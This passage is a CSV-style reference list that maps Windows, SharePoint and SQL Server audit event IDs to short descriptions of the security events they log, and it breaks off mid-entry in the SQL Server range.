4621,Administrator recovered system from CrashOnAuditFail,Windows 4622,A security package has been loaded by the Local Security Authority.,Windows 4624,An account was successfully logged on,Windows 4625,An account failed to log on,Windows 4626,User/Device claims information,Windows 4627,Group membership information.,Windows 4634,An account was logged off,Windows 4646,IKE DoS-prevention mode started,Windows 4647,User initiated logoff,Windows 4648,A logon was attempted using explicit credentials,Windows 4649,A replay attack was detected,Windows 4650,An IPsec Main Mode security association was established,Windows 4651,An IPsec Main Mode security association was established,Windows 4652,An IPsec Main Mode negotiation failed,Windows 4653,An IPsec Main Mode negotiation failed,Windows 4654,An IPsec Quick Mode negotiation failed,Windows 4655,An IPsec Main Mode security association ended,Windows 4656,A handle to an object was requested,Windows 4657,A registry value was modified,Windows 4658,The handle to an object was closed,Windows 4659,A handle to an object was requested with intent to delete,Windows 4660,An object was deleted,Windows 4661,A handle to an object was requested,Windows 4662,An operation was performed on an object,Windows 4663,An attempt was made to access an object,Windows 4664,An attempt was made to create a hard link,Windows 4665,An attempt was made to create an application client context.,Windows 4666,An application attempted an operation,Windows 4667,An application client context was deleted,Windows 4668,An application was initialized,Windows 4670,Permissions on an object were changed,Windows 4671,An application attempted to access a blocked ordinal through the TBS,Windows 4672,Special privileges assigned to new logon,Windows 4673,A privileged service was called,Windows 4674,An operation was attempted on a privileged object,Windows 4675,SIDs were filtered,Windows 4688,A new process has been created,Windows 4689,A process has exited,Windows 4690,An attempt was made to duplicate a handle to an object,Windows 4691,Indirect access to an object was requested,Windows 4692,Backup of data protection master key was attempted,Windows 4693,Recovery of data protection master key was attempted,Windows 4694,Protection of auditable protected data was attempted,Windows 4695,Unprotection of auditable protected data was attempted,Windows 4696,A primary token was assigned to process,Windows 4697,A service was installed in the system,Windows 4698,A scheduled task was created,Windows 4699,A scheduled task was deleted,Windows 4700,A scheduled task was enabled,Windows 4701,A scheduled task was disabled,Windows 4702,A scheduled task was updated,Windows 4703,A token right was adjusted,Windows 4704,A user right was assigned,Windows 4705,A user right was removed,Windows 4706,A new trust was created to a domain,Windows 4707,A trust to a domain was removed,Windows 4709,IPsec Services was started,Windows 4710,IPsec Services was disabled,Windows 4711,PAStore Engine (1%),Windows 4712,IPsec Services encountered a potentially serious failure,Windows 4713,Kerberos policy was changed,Windows 4714,Encrypted data recovery policy was changed,Windows 4715,The audit policy (SACL) on an object was changed,Windows 4716,Trusted domain information was modified,Windows 4717,System security access was granted to an account,Windows 4718,System security access was removed from an account,Windows 4719,System audit policy was changed,Windows 4720,A user account was created,Windows 4722,A user account was enabled,Windows 4723,An attempt was made to change an account's password,Windows 4724,An attempt was made to reset an accounts password,Windows 4725,A user account was disabled,Windows 4726,A user account was deleted,Windows 4727,A security-enabled global group was created,Windows 4728,A member was added to a security-enabled global group,Windows 4729,A member was removed from a security-enabled global group,Windows 4730,A security-enabled global group was deleted,Windows 4731,A security-enabled local group was created,Windows 4732,A member was added to a security-enabled local group,Windows 4733,A member was removed from a security-enabled local group,Windows 4734,A security-enabled local group was deleted,Windows 4735,A security-enabled local group was changed,Windows 4737,A security-enabled global group was changed,Windows 4738,A user account was changed,Windows 4739,Domain Policy was changed,Windows 4740,A user account was locked out,Windows 4741,A computer account was created,Windows 4742,A computer account was changed,Windows 4743,A computer account was deleted,Windows 4744,A security-disabled local group was created,Windows 4745,A security-disabled local group was changed,Windows 4746,A member was added to a security-disabled local group,Windows 4747,A member was removed from a security-disabled local group,Windows 4748,A security-disabled local group was deleted,Windows 4749,A security-disabled global group was created,Windows 4750,A security-disabled global group was changed,Windows 4751,A member was added to a security-disabled global group,Windows 4752,A member was removed from a security-disabled global group,Windows 4753,A security-disabled global group was deleted,Windows 4754,A security-enabled universal group was created,Windows 4755,A security-enabled universal group was changed,Windows 4756,A member was added to a security-enabled universal group,Windows 4757,A member was removed from a security-enabled universal group,Windows 4758,A security-enabled universal group was deleted,Windows 4759,A security-disabled universal group was created,Windows 4760,A security-disabled universal group was changed,Windows 4761,A member was added to a security-disabled universal group,Windows 4762,A member was removed from a security-disabled universal group,Windows 4763,A security-disabled universal group was deleted,Windows 4764,A groups type was changed,Windows 4765,SID History was added to an account,Windows 4766,An attempt to add SID History to an account failed,Windows 4767,A user account was unlocked,Windows 4768,A Kerberos authentication ticket (TGT) was requested,Windows 4769,A Kerberos service ticket was requested,Windows 4770,A Kerberos service ticket was renewed,Windows 4771,Kerberos pre-authentication failed,Windows 4772,A Kerberos authentication ticket request failed,Windows 4773,A Kerberos service ticket request failed,Windows 4774,An account was mapped for logon,Windows 4775,An account could not be mapped for logon,Windows 4776,The domain controller attempted to validate the credentials for an account,Windows 4777,The domain controller failed to validate the credentials for an account,Windows 4778,A session was reconnected to a Window Station,Windows 4779,A session was disconnected from a Window Station,Windows 4780,The ACL was set on accounts which are members of administrators groups,Windows 4781,The name of an account was changed,Windows 4782,The password hash an account was accessed,Windows 4783,A basic application group was created,Windows 4784,A basic application group was changed,Windows 4785,A member was added to a basic application group,Windows 4786,A member was removed from a basic application group,Windows 4787,A non-member was added to a basic application group,Windows 4788,A non-member was removed from a basic application group..,Windows 4789,A basic application group was deleted,Windows 4790,An LDAP query group was created,Windows 4791,A basic application group was changed,Windows 4792,An LDAP query group was deleted,Windows 4793,The Password Policy Checking API was called,Windows 4794,An attempt was made to set the Directory Services Restore Mode administrator password,Windows 4797,An attempt was made to query the existence of a blank password for an account,Windows 4798,A user's local group membership was enumerated.,Windows 4799,A security-enabled local group membership was enumerated,Windows 4800,The workstation was locked,Windows 4801,The workstation was unlocked,Windows 4802,The screen saver was invoked,Windows 4803,The screen saver was dismissed,Windows 4816,RPC detected an integrity violation while decrypting an incoming message,Windows 4817,Auditing settings on object were changed.,Windows 4818,Proposed Central Access Policy does not grant the same access permissions as the current Central Access Policy,Windows 4819,Central Access Policies on the machine have been changed,Windows 4820,A Kerberos Ticket-granting-ticket (TGT) was denied because the device does not meet the access control restrictions,Windows 4821,"A Kerberos service ticket was denied because the user, device, or both does not meet the access control restrictions",Windows 4822,NTLM authentication failed because the account was a member of the Protected User group,Windows 4823,NTLM authentication failed because access control restrictions are required,Windows 4824,Kerberos preauthentication by using DES or RC4 failed because the account was a member of the Protected User group,Windows 4825,"A user was denied the access to Remote Desktop. By default, users are allowed to connect only if they are members of the Remote Desktop Users group or Administrators group",Windows 4826,Boot Configuration Data loaded,Windows 4830,SID History was removed from an account,Windows 4864,A namespace collision was detected,Windows 4865,A trusted forest information entry was added,Windows 4866,A trusted forest information entry was removed,Windows 4867,A trusted forest information entry was modified,Windows 4868,The certificate manager denied a pending certificate request,Windows 4869,Certificate Services received a resubmitted certificate request,Windows 4870,Certificate Services revoked a certificate,Windows 4871,Certificate Services received a request to publish the certificate revocation list (CRL),Windows 4872,Certificate Services published the certificate revocation list (CRL),Windows 4873,A certificate request extension changed,Windows 4874,One or more certificate request attributes changed.,Windows 4875,Certificate Services received a request to shut down,Windows 4876,Certificate Services backup started,Windows 4877,Certificate Services backup completed,Windows 4878,Certificate Services restore started,Windows 4879,Certificate Services restore completed,Windows 4880,Certificate Services started,Windows 4881,Certificate Services stopped,Windows 4882,The security permissions for Certificate Services changed,Windows 4883,Certificate Services retrieved an archived key,Windows 4884,Certificate Services imported a certificate into its database,Windows 4885,The audit filter for Certificate Services changed,Windows 4886,Certificate Services received a certificate request,Windows 4887,Certificate Services approved a certificate request and issued a certificate,Windows 4888,Certificate Services denied a certificate request,Windows 4889,Certificate Services set the status of a certificate request to pending,Windows 4890,The certificate manager settings for Certificate Services changed.,Windows 4891,A configuration entry changed in Certificate Services,Windows 4892,A property of Certificate Services changed,Windows 4893,Certificate Services archived a key,Windows 4894,Certificate Services imported and archived a key,Windows 4895,Certificate Services published the CA certificate to Active Directory Domain Services,Windows 4896,One or more rows have been deleted from the certificate database,Windows 4897,Role separation enabled,Windows 4898,Certificate Services loaded a template,Windows 4899,A Certificate Services template was updated,Windows 4900,Certificate Services template security was updated,Windows 4902,The Per-user audit policy table was created,Windows 4904,An attempt was made to register a security event source,Windows 4905,An attempt was made to unregister a security event source,Windows 4906,The CrashOnAuditFail value has changed,Windows 4907,Auditing settings on object were changed,Windows 4908,Special Groups Logon table modified,Windows 4909,The local policy settings for the TBS were changed,Windows 4910,The group policy settings for the TBS were changed,Windows 4911,Resource attributes of the object were changed,Windows 4912,Per User Audit Policy was changed,Windows 4913,Central Access Policy on the object was changed,Windows 4928,An Active Directory replica source naming context was established,Windows 4929,An Active Directory replica source naming context was removed,Windows 4930,An Active Directory replica source naming context was modified,Windows 4931,An Active Directory replica destination naming context was modified,Windows 4932,Synchronization of a replica of an Active Directory naming context has begun,Windows 4933,Synchronization of a replica of an Active Directory naming context has ended,Windows 4934,Attributes of an Active Directory object were replicated,Windows 4935,Replication failure begins,Windows 4936,Replication failure ends,Windows 4937,A lingering object was removed from a replica,Windows 4944,The following policy was active when the Windows Firewall started,Windows 4945,A rule was listed when the Windows Firewall started,Windows 4946,A change has been made to Windows Firewall exception list. A rule was added,Windows 4947,A change has been made to Windows Firewall exception list. A rule was modified,Windows 4948,A change has been made to Windows Firewall exception list. A rule was deleted,Windows 4949,Windows Firewall settings were restored to the default values,Windows 4950,A Windows Firewall setting has changed,Windows 4951,A rule has been ignored because its major version number was not recognized by Windows Firewall,Windows 4952,Parts of a rule have been ignored because its minor version number was not recognized by Windows Firewall,Windows 4953,A rule has been ignored by Windows Firewall because it could not parse the rule,Windows 4954,Windows Firewall Group Policy settings has changed. The new settings have been applied,Windows 4956,Windows Firewall has changed the active profile,Windows 4957,Windows Firewall did not apply the following rule,Windows 4958,Windows Firewall did not apply the following rule because the rule referred to items not configured on this computer,Windows 4960,IPsec dropped an inbound packet that failed an integrity check,Windows 4961,IPsec dropped an inbound packet that failed a replay check,Windows 4962,IPsec dropped an inbound packet that failed a replay check,Windows 4963,IPsec dropped an inbound clear text packet that should have been secured,Windows 4964,Special groups have been assigned to a new logon,Windows 4965,IPsec received a packet from a remote computer with an incorrect Security Parameter Index (SPI).,Windows 4976,"During Main Mode negotiation, IPsec received an invalid negotiation packet.",Windows 4977,"During Quick Mode negotiation, IPsec received an invalid negotiation packet.",Windows 4978,"During Extended Mode negotiation, IPsec received an invalid negotiation packet.",Windows 4979,IPsec Main Mode and Extended Mode security associations were established.,Windows 4980,IPsec Main Mode and Extended Mode security associations were established,Windows 4981,IPsec Main Mode and Extended Mode security associations were established,Windows 4982,IPsec Main Mode and Extended Mode security associations were established,Windows 4983,An IPsec Extended Mode negotiation failed,Windows 4984,An IPsec Extended Mode negotiation failed,Windows 4985,The state of a transaction has changed,Windows 5024,The Windows Firewall Service has started successfully,Windows 5025,The Windows Firewall Service has been stopped,Windows 5027,The Windows Firewall Service was unable to retrieve the security policy from the local storage,Windows 5028,The Windows Firewall Service was unable to parse the new security policy.,Windows 5029,The Windows Firewall Service failed to initialize the driver,Windows 5030,The Windows Firewall Service failed to start,Windows 5031,The Windows Firewall Service blocked an application from accepting incoming connections on the network.,Windows 5032,Windows Firewall was unable to notify the user that it blocked an application from accepting incoming connections on the network,Windows 5033,The Windows Firewall Driver has started successfully,Windows 5034,The Windows Firewall Driver has been stopped,Windows 5035,The Windows Firewall Driver failed to start,Windows 5037,The Windows Firewall Driver detected critical runtime error. Terminating,Windows 5038,Code integrity determined that the image hash of a file is not valid,Windows 5039,A registry key was virtualized.,Windows 5040,A change has been made to IPsec settings. An Authentication Set was added.,Windows 5041,A change has been made to IPsec settings. An Authentication Set was modified,Windows 5042,A change has been made to IPsec settings. An Authentication Set was deleted,Windows 5043,A change has been made to IPsec settings. A Connection Security Rule was added,Windows 5044,A change has been made to IPsec settings. A Connection Security Rule was modified,Windows 5045,A change has been made to IPsec settings. A Connection Security Rule was deleted,Windows 5046,A change has been made to IPsec settings. A Crypto Set was added,Windows 5047,A change has been made to IPsec settings. A Crypto Set was modified,Windows 5048,A change has been made to IPsec settings. A Crypto Set was deleted,Windows 5049,An IPsec Security Association was deleted,Windows 5050,An attempt to programmatically disable the Windows Firewall using a call to INetFwProfile.FirewallEnabled(FALSE,Windows 5051,A file was virtualized,Windows 5056,A cryptographic self test was performed,Windows 5057,A cryptographic primitive operation failed,Windows 5058,Key file operation,Windows 5059,Key migration operation,Windows 5060,Verification operation failed,Windows 5061,Cryptographic operation,Windows 5062,A kernel-mode cryptographic self test was performed,Windows 5063,A cryptographic provider operation was attempted,Windows 5064,A cryptographic context operation was attempted,Windows 5065,A cryptographic context modification was attempted,Windows 5066,A cryptographic function operation was attempted,Windows 5067,A cryptographic function modification was attempted,Windows 5068,A cryptographic function provider operation was attempted,Windows 5069,A cryptographic function property operation was attempted,Windows 5070,A cryptographic function property operation was attempted,Windows 5071,Key access denied by Microsoft key distribution service,Windows 5120,OCSP Responder Service Started,Windows 5121,OCSP Responder Service Stopped,Windows 5122,A Configuration entry changed in the OCSP Responder Service,Windows 5123,A configuration entry changed in the OCSP Responder Service,Windows 5124,A security setting was updated on OCSP Responder Service,Windows 5125,A request was submitted to OCSP Responder Service,Windows 5126,Signing Certificate was automatically updated by the OCSP Responder Service,Windows 5127,The OCSP Revocation Provider successfully updated the revocation information,Windows 5136,A directory service object was modified,Windows 5137,A directory service object was created,Windows 5138,A directory service object was undeleted,Windows 5139,A directory service object was moved,Windows 5140,A network share object was accessed,Windows 5141,A directory service object was deleted,Windows 5142,A network share object was added.,Windows 5143,A network share object was modified,Windows 5144,A network share object was deleted.,Windows 5145,A network share object was checked to see whether client can be granted desired access,Windows 5146,The Windows Filtering Platform has blocked a packet,Windows 5147,A more restrictive Windows Filtering Platform filter has blocked a packet,Windows 5148,The Windows Filtering Platform has detected a DoS attack and entered a defensive mode; packets associated with this attack will be discarded.,Windows 5149,The DoS attack has subsided and normal processing is being resumed.,Windows 5150,The Windows Filtering Platform has blocked a packet.,Windows 5151,A more restrictive Windows Filtering Platform filter has blocked a packet.,Windows 5152,The Windows Filtering Platform blocked a packet,Windows 5153,A more restrictive Windows Filtering Platform filter has blocked a packet,Windows 5154,The Windows Filtering Platform has permitted an application or service to listen on a port for incoming connections,Windows 5155,The Windows Filtering Platform has blocked an application or service from listening on a port for incoming connections,Windows 5156,The Windows Filtering Platform has allowed a connection,Windows 5157,The Windows Filtering Platform has blocked a connection,Windows 5158,The Windows Filtering Platform has permitted a bind to a local port,Windows 5159,The Windows Filtering Platform has blocked a bind to a local port,Windows 5168,Spn check for SMB/SMB2 fails.,Windows 5169,A directory service object was modified,Windows 5170,A directory service object was modified during a background cleanup task,Windows 5376,Credential Manager credentials were backed up,Windows 5377,Credential Manager credentials were restored from a backup,Windows 5378,The requested credentials delegation was disallowed by policy,Windows 5440,The following callout was present when the Windows Filtering Platform Base Filtering Engine started,Windows 5441,The following filter was present when the Windows Filtering Platform Base Filtering Engine started,Windows 5442,The following provider was present when the Windows Filtering Platform Base Filtering Engine started,Windows 5443,The following provider context was present when the Windows Filtering Platform Base Filtering Engine started,Windows 5444,The following sub-layer was present when the Windows Filtering Platform Base Filtering Engine started,Windows 5446,A Windows Filtering Platform callout has been changed,Windows 5447,A Windows Filtering Platform filter has been changed,Windows 5448,A Windows Filtering Platform provider has been changed,Windows 5449,A Windows Filtering Platform provider context has been changed,Windows 5450,A Windows Filtering Platform sub-layer has been changed,Windows 5451,An IPsec Quick Mode security association was established,Windows 5452,An IPsec Quick Mode security association ended,Windows 5453,An IPsec negotiation with a remote computer failed because the IKE and AuthIP IPsec Keying Modules (IKEEXT) service is not started,Windows 5456,PAStore Engine applied Active Directory storage IPsec policy on the computer,Windows 5457,PAStore Engine failed to apply Active Directory storage IPsec policy on the computer,Windows 5458,PAStore Engine applied locally cached copy of Active Directory storage IPsec policy on the computer,Windows 5459,PAStore Engine failed to apply locally cached copy of Active Directory storage IPsec policy on the computer,Windows 5460,PAStore Engine applied local registry storage IPsec policy on the computer,Windows 5461,PAStore Engine failed to apply local registry storage IPsec policy on the computer,Windows 5462,PAStore Engine failed to apply some rules of the active IPsec policy on the computer,Windows 5463,PAStore Engine polled for changes to the active IPsec policy and detected no changes,Windows 5464,"PAStore Engine polled for changes to the active IPsec policy, detected changes, and applied them to IPsec Services",Windows 5465,PAStore Engine received a control for forced reloading of IPsec policy and processed the control successfully,Windows 5466,"PAStore Engine polled for changes to the Active Directory IPsec policy, determined that Active Directory cannot be reached, and will use the cached copy of the Active Directory IPsec policy instead",Windows 5467,"PAStore Engine polled for changes to the Active Directory IPsec policy, determined that Active Directory can be reached, and found no changes to the policy",Windows 5468,"PAStore Engine polled for changes to the Active Directory IPsec policy, determined that Active Directory can be reached, found changes to the policy, and applied those changes",Windows 5471,PAStore Engine loaded local storage IPsec policy on the computer,Windows 5472,PAStore Engine failed to load local storage IPsec policy on the computer,Windows 5473,PAStore Engine loaded directory storage IPsec policy on the computer,Windows 5474,PAStore Engine failed to load directory storage IPsec policy on the computer,Windows 5477,PAStore Engine failed to add quick mode filter,Windows 5478,IPsec Services has started successfully,Windows 5479,IPsec Services has been shut down successfully,Windows 5480,IPsec Services failed to get the complete list of network interfaces on the computer,Windows 5483,IPsec Services failed to initialize RPC server. IPsec Services could not be started,Windows 5484,IPsec Services has experienced a critical failure and has been shut down,Windows 5485,IPsec Services failed to process some IPsec filters on a plug-and-play event for network interfaces,Windows 5632,A request was made to authenticate to a wireless network,Windows 5633,A request was made to authenticate to a wired network,Windows 5712,A Remote Procedure Call (RPC) was attempted,Windows 5888,An object in the COM+ Catalog was modified,Windows 5889,An object was deleted from the COM+ Catalog,Windows 5890,An object was added to the COM+ Catalog,Windows 6144,Security policy in the group policy objects has been applied successfully,Windows 6145,One or more errors occured while processing security policy in the group policy objects,Windows 6272,Network Policy Server granted access to a user,Windows 6273,Network Policy Server denied access to a user,Windows 6274,Network Policy Server discarded the request for a user,Windows 6275,Network Policy Server discarded the accounting request for a user,Windows 6276,Network Policy Server quarantined a user,Windows 6277,Network Policy Server granted access to a user but put it on probation because the host did not meet the defined health policy,Windows 6278,Network Policy Server granted full access to a user because the host met the defined health policy,Windows 6279,Network Policy Server locked the user account due to repeated failed authentication attempts,Windows 6280,Network Policy Server unlocked the user account,Windows 6281,Code Integrity determined that the page hashes of an image file are not valid...,Windows 6400,BranchCache: Received an incorrectly formatted response while discovering availability of content.,Windows 6401,BranchCache: Received invalid data from a peer. Data discarded.,Windows 6402,BranchCache: The message to the hosted cache offering it data is incorrectly formatted.,Windows 6403,BranchCache: The hosted cache sent an incorrectly formatted response to the client's message to offer it data.,Windows 6404,BranchCache: Hosted cache could not be authenticated using the provisioned SSL certificate.,Windows 6405,BranchCache: %2 instance(s) of event id %1 occurred.,Windows 6406,%1 registered to Windows Firewall to control filtering for the following:,Windows 6407,%1,Windows 6408,Registered product %1 failed and Windows Firewall is now controlling the filtering for %2.,Windows 6409,BranchCache: A service connection point object could not be parsed,Windows 6410,Code integrity determined that a file does not meet the security requirements to load into a process. This could be due to the use of shared sections or other issues,Windows 6416,A new external device was recognized by the system.,Windows 6417,The FIPS mode crypto selftests succeeded,Windows 6418,The FIPS mode crypto selftests failed,Windows 6419,A request was made to disable a device,Windows 6420,A device was disabled,Windows 6421,A request was made to enable a device,Windows 6422,A device was enabled,Windows 6423,The installation of this device is forbidden by system policy,Windows 6424,"The installation of this device was allowed, after having previously been forbidden by policy",Windows 8191,Highest System-Defined Audit Message Value,Windows 11,Site collection audit policy changed,SharePoint 12,Audit policy changed,SharePoint 13,Document checked in,SharePoint 14,Document checked out,SharePoint 15,Child object deleted,SharePoint 16,Child object moved,SharePoint 17,Object copied,SharePoint 18,Custom event,SharePoint 19,Object deleted,SharePoint 20,SharePoint audit logs deleted,SharePoint 21,Object moved,SharePoint 22,Object profile changed,SharePoint 23,SharePoint object structure changed,SharePoint 24,Search performed,SharePoint 25,SharePoint group created,SharePoint 26,SharePoint group deleted,SharePoint 27,SharePoint group member added,SharePoint 28,SharePoint group member removed,SharePoint 29,Unique permissions created,SharePoint 30,Unique permissions removed,SharePoint 31,Permissions updated,SharePoint 32,Permissions removed,SharePoint 33,Unique permission levels created,SharePoint 34,Permission level created,SharePoint 35,Permission level deleted,SharePoint 36,Permission level modified,SharePoint 37,SharePoint site collection administrator added,SharePoint 38,SharePoint site collection administrator removed,SharePoint 39,Object restored,SharePoint 40,Site collection updated,SharePoint 41,Web updated,SharePoint 42,Document library updated,SharePoint 43,Document updated,SharePoint 44,List updated,SharePoint 45,List item updated,SharePoint 46,Folder updated,SharePoint 47,Document viewed,SharePoint 48,Document library viewed,SharePoint 49,List viewed,SharePoint 50,Object viewed,SharePoint 51,Workflow accessed,SharePoint 52,Information management policy created,SharePoint 53,Information management policy changed,SharePoint 54,Site collection information management policy created,SharePoint 55,Site collection information management policy changed,SharePoint 56,Export of objects started,SharePoint 57,Export of objects completed,SharePoint 58,Import of objects started,SharePoint 59,Import of objects completed,SharePoint 60,Possible tampering warning,SharePoint 61,Retention policy processed,SharePoint 62,Document fragment updated,SharePoint 63,Content type imported,SharePoint 64,Information management policy deleted,SharePoint 65,Item declared as a record,SharePoint 66,Item undeclared as a record,SharePoint 24000,SQL audit event,SQL Server 24001,Login succeeded (action_id LGIS),SQL Server 24002,Logout succeeded (action_id LGO),SQL Server 24003,Login failed (action_id LGIF),SQL Server 24004,Change own password succeeded (action_id PWCS; class_type LX),SQL Server 24005,Change own password failed (action_id PWCS; class_type LX),SQL Server 24006,Change password succeeded (action_id PWC class_type LX),SQL Server 24007,Change password failed (action_id PWC class_type LX),SQL Server 24008,Reset own password succeeded (action_id PWRS; class_type LX),SQL Server 24009,Reset own password failed (action_id PWRS; class_type LX),SQL Server 24010,Reset password succeeded (action_id PWR; class_type LX),SQL Server 24011,Reset password failed (action_id PWR; class_type LX),SQL Server 24012,Must change password (action_id PWMC),SQL Server 24013,Account unlocked (action_id PWU),SQL Server 24014,Change application role password succeeded (action_id PWC; class_type AR),SQL Server 24015,Change application role password failed (action_id PWC class_type AR),SQL Server 24016,Add member to server role succeeded (action_id APRL class_type SG),SQL Server 24017,Add member to server role failed (action_id APRL class_type SG),SQL Server 24018,Remove member from server role succeeded (action_id DPRL class_type SG),SQL Server 24019,Remove member from server role failed (action_id DPRL class_type SG),SQL Server 24020,Add member to database role succeeded (action_id APRL class_type RL),SQL Server 24021,Add member to database role failed (action_id APRL class_type RL),SQL Server 24022,Remove member from database role succeeded (action_id DPRL class_type RL),SQL Server 24023,Remove member from database role failed (action_id DPRL class_type RL),SQL Server 24024,Issued database backup command (action_id BA class_type DB),SQL Server 24025,Issued transaction log backup command (action_id BAL),SQL Server 24026,Issued database restore command (action_id RS class_type DB),SQL Server 24027,Issued transaction log restore command (action_id RS class_type DB),SQL Server 24028,Issued database console command (action_id DBCC),SQL Server 24029,Issued a bulk administration command (action_id ADBO),SQL Server 24030,Issued an alter connection command (action_id ALCN),SQL Server 24031,Issued an alter resources command (action_id ALRS),SQL Server 24032,Issued an alter server state command (action_id ALSS),SQL Server 24033,Issued an alter server settings command (action_id ALST),SQL Server 24034,Issued a view server state command (action_id VSST),SQL Server 24035,Issued an external access assembly command (action_id XA),SQL Server 24036,Issued an unsafe assembly command (action_id XU),SQL Server 24037,Issued an alter resource governor command (action_id ALRS class_type RG),SQL Server 24038,Issued a database authenticate command (action_id AUTH),SQL Server 24039,Issued a database checkpoint command (action_id CP),SQL Server 24040,Issued a database show plan command (action_id SPLN),SQL Server 24041,Issued a subscribe to query information command (action_id SUQN),SQL Server 24042,Issued a view database state command (action_id VDST),SQL Server 24043,Issued a change server audit command (action_id AL class_type A),SQL Server 24044,Issued a change server audit specification command (action_id AL class_type SA),SQL Server 24045,Issued a change database audit specification command (action_id AL class_type DA),SQL Server 24046,Issued a create server audit command (action_id CR class_type A),SQL Server 24047,Issued a create server audit specification command (action_id CR class_type SA),SQL Server 24048,Issued a create database audit specification command (action_id CR class_type DA),SQL Server 24049,Issued a delete server audit command (action_id DR class_type A),SQL Server 24050,Issued a delete server audit specification command (action_id DR class_type SA),SQL Server 24051,Issued a delete database audit specification command (action_id DR class_type DA),SQL Server 24052,Audit failure (action_id AUSF),SQL Server 24053,Audit session changed (action_id AUSC),SQL Server 24054,Started SQL server (action_id SVSR),SQL Server 24055,Paused SQL server (action_id SVPD),SQL Server 24056,Resumed SQL server (action_id SVCN),SQL Server 24057,Stopped SQL server (action_id SVSD),SQL Server 24058,"Issued a create server object command (action_id CR; class_type AG, EP, SD, SE, T)",SQL Server 24059,"Issued a change server object command (action_id AL; class_type AG, EP, SD, SE, T)",SQL Server 24060,"Issued a delete server object command (action_id DR; class_type AG, EP, SD, SE, T)",SQL Server 24061,Issued a create server setting command (action_id CR class_type SR),SQL Server 24062,Issued a change server setting command (action_id AL class_type SR),SQL Server 24063,Issued a delete server setting command (action_id DR class_type SR),SQL Server 24064,Issued a create server cryptographic provider command (action_id CR class_type CP),SQL Server 24065,Issued a delete server cryptographic provider command (action_id DR class_type CP),SQL Server 24066,Issued a change server cryptographic provider command (action_id AL class_type CP),SQL Server 24067,Issued a create server credential command (action_id CR class_type CD),SQL Server 24068,Issued a delete server credential command (action_id DR class_type CD),SQL Server 24069,Issued a change server credential command (action_id AL class_type CD),SQL Server 24070,Issued a change server master key command (action_id AL class_type MK),SQL Server 24071,Issued a back up server master key command (action_id BA class_type MK),SQL Server 24072,Issued a restore server master key command (action_id RS class_type MK),SQL Server 24073,Issued a map server credential to login command (action_id CMLG),SQL Server 24074,Issued a remove map between server credential and login command (action_id NMLG),SQL Server 24075,"Issued a create server principal command (action_id CR class_type LX, SL)",SQL Server 24076,"Issued a delete server principal command (action_id DR class_type LX, SL)",SQL Server 24077,Issued a change server principal credentials command (action_id CCLG),SQL Server 24078,Issued a disable server principal command (action_id LGDA),SQL Server 24079,Issued a change server principal default database command (action_id LGDB),SQL Server 24080,Issued an enable server principal command (action_id LGEA),SQL Server 24081,Issued a change server principal default language command (action_id LGLG),SQL Server 24082,Issued a change server principal password expiration command (action_id PWEX),SQL Server 24083,Issued a change server principal password policy command (action_id PWPL),SQL Server 24084,Issued a change server principal name command (action_id LGNM),SQL Server 24085,Issued a create database command (action_id CR class_type DB),SQL Server 24086,Issued a change database command (action_id AL class_type DB),SQL Server 24087,Issued a delete database command (action_id DR class_type DB),SQL Server 24088,Issued a create certificate command (action_id CR class_type CR),SQL Server 24089,Issued a change certificate command (action_id AL class_type CR),SQL Server 24090,Issued a delete certificate command (action_id DR class_type CR),SQL Server 24091,Issued a back up certificate command (action_id BA class_type CR),SQL Server 24092,Issued an access certificate command (action_id AS class_type CR),SQL Server 24093,Issued a create asymmetric key command (action_id CR class_type AK),SQL Server 24094,Issued a change asymmetric key command (action_id AL class_type AK),SQL Server 24095,Issued a delete asymmetric key command (action_id DR class_type AK),SQL Server 24096,Issued an access asymmetric key command (action_id AS class_type AK),SQL Server 24097,Issued a create database master key command (action_id CR class_type MK),SQL Server 24098,Issued a change database master key command (action_id AL class_type MK),SQL Server 24099,Issued a delete database master key command (action_id DR class_type MK),SQL Server 24100,Issued a back up database master key command (action_id BA class_type MK),SQL Server 24101,Issued a restore database master key command (action_id RS class_type MK),SQL Server 24102,Issued an open database master key command (action_id OP class_type MK),SQL Server 24103,Issued a create database symmetric key command (action_id CR class_type SK),SQL Server 24104,Issued a change database symmetric key command (action_id AL class_type SK),SQL Server 24105,Issued a delete database symmetric key command (action_id DR class_type SK),SQL Server 24106,Issued a back up database symmetric key command (action_id BA class_type SK),SQL Server 24107,Issued an open database symmetric key command (action_id OP class_type SK),SQL Server 24108,Issued a create database object command (action_id CR),SQL Server 24109,Issued a change database object command (action_id AL),SQL Server 24110,Issued a delete database object command (action_id DR),SQL Server 24111,Issued an access database object command (action_id AS),SQL Server 24112,Issued a create assembly command (action_id CR class_type AS),SQL Server 24113,Issued a change assembly command (action_id AL class_type AS),SQL Server 24114,Issued a delete assembly command (action_id DR class_type AS),SQL Server 24115,Issued a create schema command (action_id CR class_type SC),SQL Server 24116,Issued a change schema command (action_id AL class_type SC),SQL Server 24117,Issued a delete schema command (action_id DR class_type SC),SQL Server 24118,Issued a create database encryption key command (action_id CR class_type DK),SQL Server 24119,Issued a change database encryption key command (action_id AL class_type DK),SQL Server 24120,Issued a delete database encryption key command (action_id DR class_type DK),SQL Server 24121,Issued a create database user command (action_id CR; class_type US),SQL Server 24122,Issued a change database user command (action_id AL; class_type US),SQL Server 24123,Issued a delete database user command (action_id DR; class_type US),SQL Server 24124,Issued a create database role command (action_id CR class_type RL),SQL Server 24125,Issued a change database role command (action_id AL class_type RL),SQL Server 24126,Issued a delete database role command (action_id DR class_type RL),SQL Server 24127,Issued a create application role command (action_id CR class_type AR),SQL Server 24128,Issued a change application role command (action_id AL class_type AR),SQL Server 24129,Issued a delete application role command (action_id DR class_type AR),SQL Server 24130,Issued a change database user login command (action_id USAF),SQL Server 24131,Issued an auto-change database user login command (action_id USLG),SQL Server 24132,Issued a create schema object command (action_id CR class_type D),SQL Server 24133,Issued a change schema object command (action_id AL class_type D),SQL Server 24134,Issued a delete schema object command (action_id DR class_type D),SQL Server 24135,Issued a transfer schema object command (action_id TRO class_type D),SQL Server 24136,Issued a create schema type command (action_id CR class_type TY),SQL Server 24137,Issued a change schema type command (action_id AL class_type TY),SQL Server 24138,Issued a delete schema type command (action_id DR class_type TY),SQL Server 24139,Issued a transfer schema type command (action_id TRO class_type TY),SQL Server 24140,Issued a create XML schema collection command (action_id CR class_type SX),SQL Server 24141,Issued a change XML schema collection command (action_id AL class_type SX),SQL Server 24142,Issued a delete XML schema collection command (action_id DR class_type SX),SQL Server 24143,Issued a transfer XML schema collection command (action_id TRO class_type SX),SQL Server 24144,Issued an impersonate within server scope command (action_id IMP; class_type LX),SQL Server 24145,Issued an impersonate within database scope command (action_id IMP; class_type US),SQL Server 24146,Issued 